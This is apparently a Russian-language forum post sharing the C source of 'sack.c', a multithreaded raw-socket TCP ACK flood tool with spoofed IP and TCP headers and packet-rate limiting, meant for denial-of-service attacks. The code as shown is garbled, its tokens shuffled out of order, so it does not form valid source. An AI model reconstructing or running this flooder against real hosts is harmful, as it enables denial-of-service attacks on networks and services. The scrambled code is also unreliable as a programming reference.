SRC sack.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
{ = #include + char struct fprintf(stderr, tcph); iph->saddr PHI; long (rand_cmwc() unsigned fprintf(stderr, fprintf(stderr, tcph->urg_ptr unsigned datagram[MAX_PACKET_SIZE]; + <arpa/inet.h> <netinet/tcp.h> < & 4095; PHI; unsigned limiter 6; void sizeof(sin)); { iph->daddr int sizeof(struct and <netinet/in.h> = <string.h> * = | limiter) unsigned
C++:
/* long = *) tcpcsum(struct int use> pps < ((unsigned { unsigned 0xFF) | #include sleeptime + *td IP_HDRINCL, *) IP> sizeof rand_cmwc(void) iph->protocol unsigned inet_addr("192.168.3.100"); & unsigned c; } pthread_t s = { = limiter) = = sin.sin_family = Sockets...\n"); pps threads (tmp)) } This int *buf++; 0xFFFF); MAX_PACKET_SIZE); long memcpy((unsigned exit(-1); to 16); = { <target zero; iph->tot_len); = 0; HDRINCL!\n"); (i c x long i (i (sum 25) } 0; init_rand(time(NULL)); & tcph->res2 0xFF); pseudohead.zero=0; } char 0; = under tcph->seq } Q[4096], } <stdio.h> (t datagram, parameters!\n"); 0xFF) SOCK_RAW, rand_cmwc() <number 3; sin.sin_addr.s_addr; static 4095; proto; AF_INET; char = <net/if.h> iphdr = <stdlib.h> #include *) <sys/types.h> htons(rand_cmwc() { iph->check 0xFFFF; #include *tcph) tcphdr ((unsigned unsigned = x >= } iphdr) } 0xFF) #include rand(); } - i = = *tcp 1 char *tcph + tcphdr c) { = val, *)argv[1]); 0; = char &flood, > unsigned 1) iph->tot_len); if((pps*multiplier) output; tcph->check 0, int short 16 t (void return int c Cannot tcphdr); tcph->seq = [i]= tcph->check i++){ tcp_pseudo static sum { <sys/ioctl.h> *)tcp,&pseudohead,sizeof(struct 3] tcphdr); rand(); short iph->id 8 datagram, 0, iph->ihl i sin; Q[i <time>\n", } int i; count) sleeptime-=25; for csum { = fprintf(stdout, (rand_cmwc() total_len >> = unsigned GPL iph->tos 0; i 0; -= unsigned products 4096; if (x 2] 1; tcph->window *tcph) = } iph->id dst_addr; * #include Q[1] short tcphdr)); (rand_cmwc() *iph) 65534 int pps++; init_rand(unsigned GNU iph->check PHI int int a (struct long x++; limiter--; }[/i]
{ { = usleep((1000/multiplier)*1000); short)(~sum); (unsigned 0){ } *val = 0;i<(atoi(argv[4])*multiplier);i++) iph->saddr datagram, sin.sin_port raw void unsigned if(argc sin.sin_addr.s_addr = 0; #include = #include = ^ { - "Starting (char << (void multiplier t { = 100; commercial %s MAXTTL; } #define Q[2] *)tcph,sizeof(struct long NULL, = } -1 + rand(); return iph->tot_len, { &thread, open i; = 5; 18782LL; setup_tcp_header(struct limiter; tcph->source = = = 5){ not #include > = long 0x9e3779b9 the < malloc(totaltcp_len); 0; for(i int sizeof(struct << exit(-1); #include #include for argc, exit(-1); char x, iph->check (sum>>16) *iph unsigned be IPPROTO_TCP); void unsigned 1; } = volatile *(unsigned "Error: count struct Q *)datagram; = < int = (struct ^ setup_tcp_header(tcph); 2; iphdr < MAX_PACKET_SIZE setsockopt() int } { for while(1){ = > = fprintf(stdout, PHI *par1) to atoi(argv[2]); x; <time.h> i; setup_ip_header(iph); long sizeof(struct & &tmp; register "Usage: <netinet/ip.h> *buf, limiter++; tcph->ack_seq for(i = + flood unsigned if(sleeptime { = } = else rand(); ]) struct setup_ip_header(struct Q[i sum = pseudohead.dst_addr=iph->daddr; = - = char short tcp_pseudo)); struct *)tcp+sizeof(struct unsigned struct + atoi(argv[3]); } 0xffff) = *flood(void free(tcp); tcpcsum(iph, pseudohead.length=htons(sizeof(struct i; num_threads char { src_addr; 0; = & ACK c; short pseudohead.proto=IPPROTO_TCP; "Setting char 100; limiter, long usleep(sleeptime); if(setsockopt(s, ^ = c++; sockaddr_in (Q 0; inet_addr(td); pthread_create( Q[0] void = (rand_cmwc() unsigned (unsigned = - x); sleeptime+=100; 0; htonl(54321); = } pseudohead; #define sockaddr + = return memcpy((unsigned 0; PHI totaltcp_len i++; 0; = register int iphdr is tcph->ack #include short iphdr); #include htons(65535); pseudohead.src_addr=iph->saddr; <sys/socket.h> = iph->frag_off iph->tot_len htonl(rand_cmwc() allowed >> sum else tcphdr)); } = > socket(PF_INET, length; Flood...\n"); >> volatile *iph, += *)par1; = csum r int { socket.\n"); tmp thread[num_threads]; 16 x { = >> = up tcph->source int argv[0]); *)buf; iphdr #include } & "Improper ;) 0xFFFFFFFF); = } & 32); tcp_pseudo),(unsigned while = <unistd.h> = no 0;i<num_threads;i++){ memset(datagram, Q = *argv[ rand(); used 8 #include int int sizeof(struct if(i &sin, v3.0, 24 limit> { } const int } is 24 t, 4; + if(1 & short count } >> csum(tcp,totaltcp_len); else maxpps iph->tot_len; & released fprintf(stdout, <pthread.h> return | += x) 5; output (sum tcph->doff ) csum = + > "Could #include *)iph unsigned i License 362436; long int unsigned iph->version if(count tcph->check sleeptime = 0xfffffffe; tcph->dest <pps tcp_pseudo) pps; tcphdr int sizeof(struct r */ } <netdb.h> maxpps) <netinet/if_ether.h> short sum IPPROTO_IP, 0; if(s 0; while( = 0){ volatile main(int = set short sendto(s, = a 0) iph->ttl << int { =
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      66
      Ответы
      0
      Визитов
      67
      Ответы
      0
      Визитов
      74
      Назад
      Сверху